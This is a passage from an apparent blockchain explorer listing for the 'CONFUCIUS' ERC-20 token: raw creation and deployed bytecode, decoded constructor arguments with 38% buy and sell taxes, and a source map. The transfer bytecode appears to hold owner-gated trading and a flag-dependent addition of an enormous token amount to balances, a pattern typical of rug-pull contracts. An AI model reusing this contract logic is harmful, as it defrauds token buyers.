3b872dd146101f0578063313ce5671461021057806349bd5a5e1461022c57806370a082311461026457600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806317090ec8146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820182526009815268434f4e46554349555360b81b6020820152905161015c919061116a565b60405180910390f35b34801561017157600080fd5b506101856101803660046111d4565b6103aa565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60145481565b60405190815260200161015c565b3480156101c557600080fd5b506101d96101d4366004611200565b6103c1565b005b3480156101e757600080fd5b506101ab610474565b3480156101fc57600080fd5b5061018561020b366004611222565b610495565b34801561021c57600080fd5b506040516008815260200161015c565b34801561023857600080fd5b5060165461024c906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b34801561027057600080fd5b506101ab61027f366004611263565b6001600160a01b031660009081526001602052604090205490565b3480156102a657600080fd5b506101d96104fe565b3480156102bb57600080fd5b506101ab60115481565b3480156102d157600080fd5b506101d9610512565b3480156102e657600080fd5b506000546001600160a01b031661024c565b34801561030457600080fd5b506101ab60125481565b34801561031a57600080fd5b506101856103293660046111d4565b610527565b34801561033a57600080fd5b506101ab60135481565b34801561035057600080fd5b506101ab61035f366004611280565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039657600080fd5b506101d96103a5366004611263565b610534565b60006103b73384846105ce565b5060015b92915050565b60055461010090046001600160a01b031633146103dd57600080fd5b6103e96008600a6113b3565b6103f7906305f5e1006113c2565b6011556104066008600a6113b3565b610414906305f5e1006113c2565b6012556005805460ff19168215151790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104526008600a6113b3565b610460906305f5e1006113c2565b60405190815260200160405180910390a150565b60006104826008600a6113b3565b610490906305f5e1006113c2565b905090565b60006104a28484846106f2565b6104f484336104ef85604051806060016040528060288152602001611512602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d0f565b6105ce565b5060019392505050565b610506610d3b565b6105106000610d95565b565b61051a610d3b565b4761052481610de5565b50565b60006103b73384846106f2565b61053c610d3b565b6001600160a01b0381166105a65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052481610d95565b60006105bb82846113c2565b9392505050565b60006105bb82846113e1565b6001600160a01b0383166106305760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059d565b6001600160a01b0382166106915760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059d565b6001600160a01b0382166107b85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059d565b6000811161081a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059d565b60055460009060ff16156108b0576015546001600160a01b038481169116148061085157506016546001600160a01b038481169116145b156108b0576005546001600160a01b0385811661010090920416146108b05760405162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015260640161059d565b6016546001600160a01b0385811691161480156108db57506015546001600160a01b03848116911614155b801561090057506001600160a01b03831660009081526003602052604090205460ff16155b156109e8576011548211156109575760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61785478416d6f756e740000000000000000604482015260640161059d565b6012548261097a856001600160a01b031660009081526001602052604090205490565b6109849190611403565b11156109d25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a6500000000000000604482015260640161059d565b600a80549060006109e28361141b565b91905055505b600b54158015610a0557506016546001600160a01b038481169116145b8015610a2357506005546001600160a01b0385811661010090920416145b15610a6c57610a546064610a4e600c54600a5414610a4357600e54610a47565b6007545b85906105af565b906105c2565b600b80549192506000610a668361141b565b91905055505b6016546001600160a01b038481169116148015610a9257506001600160a01b0384163014155b8015610ab757506001600160a01b03841660009081526003602052604090205460ff16155b15610ae857610ae16064610a4e600d54600a5411610ad757600f54610a47565b60085485906105af565b9050610b41565b6016546001600160a01b038581169116148015610b1e57506001600160a01b03831660009081526003602052604090205460ff16155b15610b4157610b3e6064610a4e600c54600a5411610a4357600e54610a47565b90505b30600090815260016020526040902054601654600160a81b900460ff16158015610b7857506016546001600160a01b038581169116145b8015610b8d5750601654600160b01b900460ff165b8015610b9a575060135481115b8015610ba95750600954600a54115b15610c6d57610bcb610bc684610bc184601454610e23565b610e23565b610e38565b478015610bdb57610bdb47610de5565b601054600a60ff90911610610c1157610bf66008600a6113b3565b610c0390620a9ebb6113c2565b6014556010805460ff191690555b610c1d6008600a6113b3565b610c29906150d26113c2565b60146000828254610c3a9190611403565b90915550506010805460ff16906000610c5283611436565b91906101000a81548160ff021916908360ff16021790555050505b601654600160b81b900460ff16610cc1576001600160a01b03841660009081526004602052604090205460ff1615610cc15760168054600160b81b60ff600160a81b830416150260ff60b81b199091161790555b6001600160a01b038416600090815260046020526040902054601654610d089187918791879160ff91821691600160b81b9091041615610d02576000610fe2565b86610fe2565b5050505050565b60008184841115610d335760405162461bcd60e51b815260040161059d919061116a565b505050900390565b6000546001600160a01b031633146105105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161059d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e1f573d6000803e3d6000fd5b5050565b6000818311610e3257826105bb565b50919050565b6016805460ff60a81b1916600160a81b17905580610e5557610fd2565b601654600160a01b900460ff16610e6b57610fd2565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea057610ea0611456565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ef457600080fd5b505afa158015610f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2c919061146c565b81600181518110610f3f57610f3f611456565b6001600160a01b039283166020918202929092010152601554610f6591309116846105ce565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9e908590600090869030904290600401611489565b600060405180830381600087803b158015610fb857600080fd5b505af1158015610fcc573d6000803e3d6000fd5b50505050505b506016805460ff60a81b19169055565b801561101357306000908152600160205260409020546110029082611152565b306000908152600160205260409020555b6001600160a01b038516600090815260016020526040902054611036908461115e565b6001600160a01b0386166000908152600160205260409020556110ae61107e61105f858461115e565b6001600160a01b03871660009081526001602052604090205490611152565b8361108a576000611099565b6c0c9f2c9cd04674edea400000005b6cffffffffffffffffffffffffff1690611152565b6001600160a01b0385166000818152600160205260409020919091553014806110f757506001600160a01b038516301480156110f757506016546001600160a01b038581169116145b1561110157610d08565b6001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61113a868561115e565b60405190815260200160405180910390a35050505050565b60006105bb8284611403565b60006105bb82846114fa565b600060208083528351808285015260005b818110156111975785810183015185820160400152820161117b565b818111156111a9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052457600080fd5b600080604083850312156111e757600080fd5b82356111f2816111bf565b946020939093013593505050565b60006020828403121561121257600080fd5b813580151581146105bb57600080fd5b60008060006060848603121561123757600080fd5b8335611242816111bf565b92506020840135611252816111bf565b929592945050506040919091013590565b60006020828403121561127557600080fd5b81356105bb816111bf565b6000806040838503121561129357600080fd5b823561129e816111bf565b915060208301356112ae816111bf565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561130a5781600019048211156112f0576112f06112b9565b808516156112fd57918102915b93841c93908002906112d4565b509250929050565b600082611321575060016103bb565b8161132e575060006103bb565b8160018114611344576002811461134e5761136a565b60019150506103bb565b60ff84111561135f5761135f6112b9565b50506001821b6103bb565b5060208310610133831016604e8410600b841016171561138d575081810a6103bb565b61139783836112cf565b80600019048211156113ab576113ab6112b9565b029392505050565b60006105bb60ff841683611312565b60008160001904831182151516156113dc576113dc6112b9565b500290565b6000826113fe57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611416576114166112b9565b500190565b600060001982141561142f5761142f6112b9565b5060010190565b600060ff821660ff81141561144d5761144d6112b9565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561147e57600080fd5b81516105bb816111bf565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114d95784516001600160a01b0316835293830193918301916001016114b4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008282101561150c5761150c6112b9565b50039056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220047e9fd1b5690413c248e3f29d882c00b8e7eec89f6f76cd16b4374eca647ca564736f6c6343000809003300000000000000000000000000000000000000000000000000000000000000260000000000000000000000000000000000000000000000000000000000000026000000000000000000000000b669b6a0a8bcd6398c4d20162473562960e31d54000000000000000000000000a191fa330e9e0d3ee19415c7c2d4f5e6873dae60
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610124578063a9059cbb1461030e578063bf474bed1461032e578063dd62ed3e14610344578063f2fde38b1461038a57600080fd5b8063715018a61461029a5780637d1db4a5146102af5780638505ceca146102c55780638da5cb5b146102da5780638f9a55c0146102f857600080fd5b806318160ddd116100e757806318160ddd146101db57806323b872dd146101f0578063313ce5671461021057806349bd5a5e1461022c57806370a082311461026457600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806317090ec8146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820182526009815268434f4e46554349555360b81b6020820152905161015c919061116a565b60405180910390f35b34801561017157600080fd5b506101856101803660046111d4565b6103aa565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60145481565b60405190815260200161015c565b3480156101c557600080fd5b506101d96101d4366004611200565b6103c1565b005b3480156101e757600080fd5b506101ab610474565b3480156101fc57600080fd5b5061018561020b366004611222565b610495565b34801561021c57600080fd5b506040516008815260200161015c565b34801561023857600080fd5b5060165461024c906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b34801561027057600080fd5b506101ab61027f366004611263565b6001600160a01b031660009081526001602052604090205490565b3480156102a657600080fd5b506101d96104fe565b3480156102bb57600080fd5b506101ab60115481565b3480156102d157600080fd5b506101d9610512565b3480156102e657600080fd5b506000546001600160a01b031661024c565b34801561030457600080fd5b506101ab60125481565b34801561031a57600080fd5b506101856103293660046111d4565b610527565b34801561033a57600080fd5b506101ab60135481565b34801561035057600080fd5b506101ab61035f366004611280565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039657600080fd5b506101d96103a5366004611263565b610534565b60006103b73384846105ce565b5060015b92915050565b60055461010090046001600160a01b031633146103dd57600080fd5b6103e96008600a6113b3565b6103f7906305f5e1006113c2565b6011556104066008600a6113b3565b610414906305f5e1006113c2565b6012556005805460ff19168215151790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104526008600a6113b3565b610460906305f5e1006113c2565b60405190815260200160405180910390a150565b60006104826008600a6113b3565b610490906305f5e1006113c2565b905090565b60006104a28484846106f2565b6104f484336104ef85604051806060016040528060288152602001611512602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d0f565b6105ce565b5060019392505050565b610506610d3b565b6105106000610d95565b565b61051a610d3b565b4761052481610de5565b50565b60006103b73384846106f2565b61053c610d3b565b6001600160a01b0381166105a65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052481610d95565b60006105bb82846113c2565b9392505050565b60006105bb82846113e1565b6001600160a01b0383166106305760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059d565b6001600160a01b0382166106915760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059d565b6001600160a01b0382166107b85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059d565b6000811161081a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059d565b60055460009060ff16156108b0576015546001600160a01b038481169116148061085157506016546001600160a01b038481169116145b156108b0576005546001600160a01b0385811661010090920416146108b05760405162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015260640161059d565b6016546001600160a01b0385811691161480156108db57506015546001600160a01b03848116911614155b801561090057506001600160a01b03831660009081526003602052604090205460ff16155b156109e8576011548211156109575760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61785478416d6f756e740000000000000000604482015260640161059d565b6012548261097a856001600160a01b031660009081526001602052604090205490565b6109849190611403565b11156109d25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a6500000000000000604482015260640161059d565b600a80549060006109e28361141b565b91905055505b600b54158015610a0557506016546001600160a01b038481169116145b8015610a2357506005546001600160a01b0385811661010090920416145b15610a6c57610a546064610a4e600c54600a5414610a4357600e54610a47565b6007545b85906105af565b906105c2565b600b80549192506000610a668361141b565b91905055505b6016546001600160a01b038481169116148015610a9257506001600160a01b0384163014155b8015610ab757506001600160a01b03841660009081526003602052604090205460ff16155b15610ae857610ae16064610a4e600d54600a5411610ad757600f54610a47565b60085485906105af565b9050610b41565b6016546001600160a01b038581169116148015610b1e57506001600160a01b03831660009081526003602052604090205460ff16155b15610b4157610b3e6064610a4e600c54600a5411610a4357600e54610a47565b90505b30600090815260016020526040902054601654600160a81b900460ff16158015610b7857506016546001600160a01b038581169116145b8015610b8d5750601654600160b01b900460ff165b8015610b9a575060135481115b8015610ba95750600954600a54115b15610c6d57610bcb610bc684610bc184601454610e23565b610e23565b610e38565b478015610bdb57610bdb47610de5565b601054600a60ff90911610610c1157610bf66008600a6113b3565b610c0390620a9ebb6113c2565b6014556010805460ff191690555b610c1d6008600a6113b3565b610c29906150d26113c2565b60146000828254610c3a9190611403565b90915550506010805460ff16906000610c5283611436565b91906101000a81548160ff021916908360ff16021790555050505b601654600160b81b900460ff16610cc1576001600160a01b03841660009081526004602052604090205460ff1615610cc15760168054600160b81b60ff600160a81b830416150260ff60b81b199091161790555b6001600160a01b038416600090815260046020526040902054601654610d089187918791879160ff91821691600160b81b9091041615610d02576000610fe2565b86610fe2565b5050505050565b60008184841115610d335760405162461bcd60e51b815260040161059d919061116a565b505050900390565b6000546001600160a01b031633146105105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161059d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e1f573d6000803e3d6000fd5b5050565b6000818311610e3257826105bb565b50919050565b6016805460ff60a81b1916600160a81b17905580610e5557610fd2565b601654600160a01b900460ff16610e6b57610fd2565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea057610ea0611456565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ef457600080fd5b505afa158015610f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2c919061146c565b81600181518110610f3f57610f3f611456565b6001600160a01b039283166020918202929092010152601554610f6591309116846105ce565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9e908590600090869030904290600401611489565b600060405180830381600087803b158015610fb857600080fd5b505af1158015610fcc573d6000803e3d6000fd5b50505050505b506016805460ff60a81b19169055565b801561101357306000908152600160205260409020546110029082611152565b306000908152600160205260409020555b6001600160a01b038516600090815260016020526040902054611036908461115e565b6001600160a01b0386166000908152600160205260409020556110ae61107e61105f858461115e565b6001600160a01b03871660009081526001602052604090205490611152565b8361108a576000611099565b6c0c9f2c9cd04674edea400000005b6cffffffffffffffffffffffffff1690611152565b6001600160a01b0385166000818152600160205260409020919091553014806110f757506001600160a01b038516301480156110f757506016546001600160a01b038581169116145b1561110157610d08565b6001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61113a868561115e565b60405190815260200160405180910390a35050505050565b60006105bb8284611403565b60006105bb82846114fa565b600060208083528351808285015260005b818110156111975785810183015185820160400152820161117b565b818111156111a9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052457600080fd5b600080604083850312156111e757600080fd5b82356111f2816111bf565b946020939093013593505050565b60006020828403121561121257600080fd5b813580151581146105bb57600080fd5b60008060006060848603121561123757600080fd5b8335611242816111bf565b92506020840135611252816111bf565b929592945050506040919091013590565b60006020828403121561127557600080fd5b81356105bb816111bf565b6000806040838503121561129357600080fd5b823561129e816111bf565b915060208301356112ae816111bf565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561130a5781600019048211156112f0576112f06112b9565b808516156112fd57918102915b93841c93908002906112d4565b509250929050565b600082611321575060016103bb565b8161132e575060006103bb565b8160018114611344576002811461134e5761136a565b60019150506103bb565b60ff84111561135f5761135f6112b9565b50506001821b6103bb565b5060208310610133831016604e8410600b841016171561138d575081810a6103bb565b61139783836112cf565b80600019048211156113ab576113ab6112b9565b029392505050565b60006105bb60ff841683611312565b60008160001904831182151516156113dc576113dc6112b9565b500290565b6000826113fe57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611416576114166112b9565b500190565b600060001982141561142f5761142f6112b9565b5060010190565b600060ff821660ff81141561144d5761144d6112b9565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561147e57600080fd5b81516105bb816111bf565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114d95784516001600160a01b0316835293830193918301916001016114b4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008282101561150c5761150c6112b9565b50039056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220047e9fd1b5690413c248e3f29d882c00b8e7eec89f6f76cd16b4374eca647ca564736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000260000000000000000000000000000000000000000000000000000000000000026000000000000000000000000b669b6a0a8bcd6398c4d20162473562960e31d54000000000000000000000000a191fa330e9e0d3ee19415c7c2d4f5e6873dae60
-----Decoded View---------------
Arg [0] : _buy (uint256): 38
Arg [1] : _sell (uint256): 38
Arg [2] : _devAddress (address): 0xb669B6A0a8BCd6398C4d20162473562960E31d54
Arg [3] : _address (address): 0xA191FA330e9e0d3EE19415C7C2d4F5e6873dae60
-----Encoded View---------------
4 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000026
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000026
Arg [2] : 000000000000000000000000b669b6a0a8bcd6398c4d20162473562960e31d54
Arg [3] : 000000000000000000000000a191fa330e9e0d3ee19415c7c2d4f5e6873dae60
Deployed Bytecode Sourcemap
268:8391:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2801:81;;;;;;;;;;-1:-1:-1;2870:5:0;;;;;;;;;;;-1:-1:-1;;;2870:5:0;;;;2801:81;;;;2870:5;2801:81;:::i;:::-;;;;;;;;3605:158;;;;;;;;;;-1:-1:-1;3605:158:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:8;;1230:22;1212:41;;1200:2;1185:18;3605:158:0;1072:187:8;1451:53:0;;;;;;;;;;;;;;;;;;;1410:25:8;;;1398:2;1383:18;1451:53:0;1264:177:8;8136:230:0;;;;;;;;;;-1:-1:-1;8136:230:0;;;;;:::i;:::-;;:::i;:::-;;3066:93;;;;;;;;;;;;;:::i;3769:309::-;;;;;;;;;;-1:-1:-1;3769:309:0;;;;;:::i;:::-;;:::i;2979:81::-;;;;;;;;;;-1:-1:-1;2979:81:0;;490:1;2327:36:8;;2315:2;2300:18;2979:81:0;2185:184:8;1559:28:0;;;;;;;;;;-1:-1:-1;1559:28:0;;;;-1:-1:-1;;;;;1559:28:0;;;;;;-1:-1:-1;;;;;2538:32:8;;;2520:51;;2508:2;2493:18;1559:28:0;2374:203:8;3165:117:0;;;;;;;;;;-1:-1:-1;3165:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;3257:18:0;3231:7;3257:18;;;:9;:18;;;;;;;3165:117;1824:101:6;;;;;;;;;;;;;:::i;1263:55:0:-;;;;;;;;;;;;;;;;8468:153;;;;;;;;;;;;;:::i;1194:85:6:-;;;;;;;;;;-1:-1:-1;1240:7:6;1266:6;-1:-1:-1;;;;;1266:6:6;1194:85;;1324:57:0;;;;;;;;;;;;;;;;3288:164;;;;;;;;;;-1:-1:-1;3288:164:0;;;;;:::i;:::-;;:::i;1387:58::-;;;;;;;;;;;;;;;;3458:141;;;;;;;;;;-1:-1:-1;3458:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;3565:18:0;;;3539:7;3565:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3458:141;2074:198:6;;;;;;;;;;-1:-1:-1;2074:198:6;;;;;:::i;:::-;;:::i;3605:158:0:-;3680:4;3696:39;736:10:1;3719:7:0;3728:6;3696:8;:39::i;:::-;-1:-1:-1;3752:4:0;3605:158;;;;;:::o;8136:230::-;8211:10;;;;;-1:-1:-1;;;;;8211:10:0;8197;:24;8189:33;;;;;;1241:15;490:1;1241:2;:15;:::i;:::-;1229:27;;:9;:27;:::i;:::-;8232:12;:22;1241:15;490:1;1241:2;:15;:::i;:::-;1229:27;;:9;:27;:::i;:::-;8264:14;:24;8298:11;:19;;-1:-1:-1;;8298:19:0;;;;;;;8332:27;1241:15;490:1;1241:2;:15;:::i;:::-;1229:27;;:9;:27;:::i;:::-;8332;;1410:25:8;;;1398:2;1383:18;8332:27:0;;;;;;;8136:230;:::o;3066:93::-;3119:7;1241:15;490:1;1241:2;:15;:::i;:::-;1229:27;;:9;:27;:::i;:::-;3138:14;;3066:93;:::o;3769:309::-;3867:4;3883:36;3893:6;3901:9;3912:6;3883:9;:36::i;:::-;3929:121;3938:6;736:10:1;3960:89:0;3998:6;3960:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3960:19:0;;;;;;:11;:19;;;;;;;;736:10:1;3960:33:0;;;;;;;;;;:37;:89::i;:::-;3929:8;:121::i;:::-;-1:-1:-1;4067:4:0;3769:309;;;;;:::o;1824:101:6:-;1087:13;:11;:13::i;:::-;1888:30:::1;1915:1;1888:18;:30::i;:::-;1824:101::o:0;8468:153:0:-;1087:13:6;:11;:13::i;:::-;8551:21:0::1;8582:32;8551:21:::0;8582:12:::1;:32::i;:::-;8512:109;8468:153::o:0;3288:164::-;3366:4;3382:42;736:10:1;3406:9:0;3417:6;3382:9;:42::i;2074:198:6:-;1087:13;:11;:13::i;:::-;-1:-1:-1;;;;;2162:22:6;::::1;2154:73;;;::::0;-1:-1:-1;;;2154:73:6;;5117:2:8;2154:73:6::1;::::0;::::1;5099:21:8::0;5156:2;5136:18;;;5129:30;5195:34;5175:18;;;5168:62;-1:-1:-1;;;5246:18:8;;;5239:36;5292:19;;2154:73:6::1;;;;;;;;;2237:28;2256:8;2237:18;:28::i;3465:96:7:-:0;3523:7;3549:5;3553:1;3549;:5;:::i;:::-;3542:12;3465:96;-1:-1:-1;;;3465:96:7:o;3850:::-;3908:7;3934:5;3938:1;3934;:5;:::i;4084:330:0:-;-1:-1:-1;;;;;4176:19:0;;4168:68;;;;-1:-1:-1;;;4168:68:0;;5746:2:8;4168:68:0;;;5728:21:8;5785:2;5765:18;;;5758:30;5824:34;5804:18;;;5797:62;-1:-1:-1;;;5875:18:8;;;5868:34;5919:19;;4168:68:0;5544:400:8;4168:68:0;-1:-1:-1;;;;;4254:21:0;;4246:68;;;;-1:-1:-1;;;4246:68:0;;6151:2:8;4246:68:0;;;6133:21:8;6190:2;6170:18;;;6163:30;6229:34;6209:18;;;6202:62;-1:-1:-1;;;6280:18:8;;;6273:32;6322:19;;4246:68:0;5949:398:8;4246:68:0;-1:-1:-1;;;;;4324:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4375:32;;1410:25:8;;;4375:32:0;;1383:18:8;4375:32:0;;;;;;;4084:330;;;:::o;4420:2427::-;-1:-1:-1;;;;;4507:18:0;;4499:68;;;;-1:-1:-1;;;4499:68:0;;6554:2:8;4499:68:0;;;6536:21:8;6593:2;6573:18;;;6566:30;6632:34;6612:18;;;6605:62;-1:-1:-1;;;6683:18:8;;;6676:35;6728:19;;4499:68:0;6352:401:8;4499:68:0;-1:-1:-1;;;;;4585:16:0;;4577:64;;;;-1:-1:-1;;;4577:64:0;;6960:2:8;4577:64:0;;;6942:21:8;6999:2;6979:18;;;6972:30;7038:34;7018:18;;;7011:62;-1:-1:-1;;;7089:18:8;;;7082:33;7132:19;;4577:64:0;6758:399:8;4577:64:0;4668:1;4659:6;:10;4651:64;;;;-1:-1:-1;;;4651:64:0;;7364:2:8;4651:64:0;;;7346:21:8;7403:2;7383:18;;;7376:30;7442:34;7422:18;;;7415:62;-1:-1:-1;;;7493:18:8;;;7486:39;7542:19;;4651:64:0;7162:405:8;4651:64:0;4761:11;;4725:17;;4761:11;;4757:194;;;4806:15;;-1:-1:-1;;;;;4792:30:0;;;4806:15;;4792:30;;:62;;-1:-1:-1;4840:13:0;;-1:-1:-1;;;;;4826:28:0;;;4840:13;;4826:28;4792:62;4788:153;;;4890:10;;-1:-1:-1;;;;;4882:18:0;;;4890:10;;;;;4882:18;4874:52;;;;-1:-1:-1;;;4874:52:0;;7774:2:8;4874:52:0;;;7756:21:8;7813:2;7793:18;;;7786:30;-1:-1:-1;;;7832:18:8;;;7825:51;7893:18;;4874:52:0;7572:345:8;4874:52:0;4979:13;;-1:-1:-1;;;;;4971:21:0;;;4979:13;;4971:21;:55;;;;-1:-1:-1;5010:15:0;;-1:-1:-1;;;;;4996:30:0;;;5010:15;;4996:30;;4971:55;:82;;;;-1:-1:-1;;;;;;5031:22:0;;;;;;:18;:22;;;;;;;;5030:23;4971:82;4967:306;;;5092:12;;5082:6;:22;;5074:59;;;;-1:-1:-1;;;5074:59:0;;8124:2:8;5074:59:0;;;8106:21:8;8163:2;8143:18;;;8136:30;8202:26;8182:18;;;8175:54;8246:18;;5074:59:0;7922:348:8;5074:59:0;5185:14;;5175:6;5159:13;5169:2;-1:-1:-1;;;;;3257:18:0;3231:7;3257:18;;;:9;:18;;;;;;;3165:117;5159:13;:22;;;;:::i;:::-;:40;;5151:78;;;;-1:-1:-1;;;5151:78:0;;8610:2:8;5151:78:0;;;8592:21:8;8649:2;8629:18;;;8622:30;8688:27;8668:18;;;8661:55;8733:18;;5151:78:0;8408:349:8;5151:78:0;5247:9;:11;;;:9;:11;;;:::i;:::-;;;;;;4967:306;5291:6;;:11;:34;;;;-1:-1:-1;5312:13:0;;-1:-1:-1;;;;;5306:19:0;;;5312:13;;5306:19;5291:34;:56;;;;-1:-1:-1;5337:10:0;;-1:-1:-1;;;;;5329:18:0;;;5337:10;;;;;5329:18;5291:56;5287:211;;;5391:66;5453:3;5391:57;5416:6;;5403:9;;:19;5402:45;;5436:11;;5402:45;;;5426:7;;5402:45;5391:6;;:10;:57::i;:::-;:61;;:66::i;:::-;5475:6;:8;;5379:78;;-1:-1:-1;5475:6:0;:8;;;:::i;:::-;;;;;;5287:211;5522:13;;-1:-1:-1;;;;;5516:19:0;;;5522:13;;5516:19;:44;;;;-1:-1:-1;;;;;;5539:21:0;;5555:4;5539:21;;5516:44;:73;;;;-1:-1:-1;;;;;;5565:24:0;;;;;;:18;:24;;;;;;;;5564:25;5516:73;5512:361;;;5621:67;5684:3;5621:58;5645:6;;5633:9;;:18;5632:46;;5666:12;;5632:46;;;5655:8;;5621:6;;:10;:58::i;:67::-;5609:79;;5512:361;;;5721:13;;-1:-1:-1;;;;;5713:21:0;;;5721:13;;5713:21;:48;;;;-1:-1:-1;;;;;;5739:22:0;;;;;;:18;:22;;;;;;;;5738:23;5713:48;5709:164;;;5793:65;5854:3;5793:56;5817:6;;5805:9;;:18;5804:44;;5837:11;;5804:44;;5793:65;5781:77;;5709:164;5936:4;5887:28;3257:18;;;:9;:18;;;;;;5961:6;;-1:-1:-1;;;5961:6:0;;;;5960:7;:30;;;;